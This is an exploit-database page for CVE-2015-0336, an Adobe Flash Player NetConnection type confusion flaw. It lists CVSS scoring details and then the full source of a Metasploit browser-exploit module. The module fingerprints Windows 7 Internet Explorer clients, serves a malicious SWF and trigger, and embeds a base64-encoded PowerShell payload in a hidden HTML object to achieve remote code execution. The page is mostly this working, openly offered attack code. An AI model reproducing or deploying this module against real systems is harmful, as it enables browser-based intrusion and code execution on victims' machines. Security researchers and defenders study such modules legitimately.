Exploitalert - Database of Exploits

Adobe Flash Player NetConnection Type Confusion

CVE	Category	Price	Severity
CVE-2015-0336	CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer	$10,000	Critical

Author	Risk	Exploitation Type	Date
Ashar Javed	High	Remote	2015-05-07

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	High	AC	The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2015050033

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player NetConnection Type Confusion', 'Description' => %q{ This module exploits a type confusion vulnerability in the NetConnection class on Adobe Flash Player. When using a correct memory layout this vulnerability allows to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like vectors, and finally accomplish remote code execution. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305. }, 'License' => MSF_LICENSE, 'Author' => [ 'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit 'Unknown', # Exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-0336'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'], ['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'], ['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'], ['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Mar 12 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf @trigger = create_trigger super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) trigger_hex_stream = @trigger.unpack('H*')[0] html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end def create_trigger path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end

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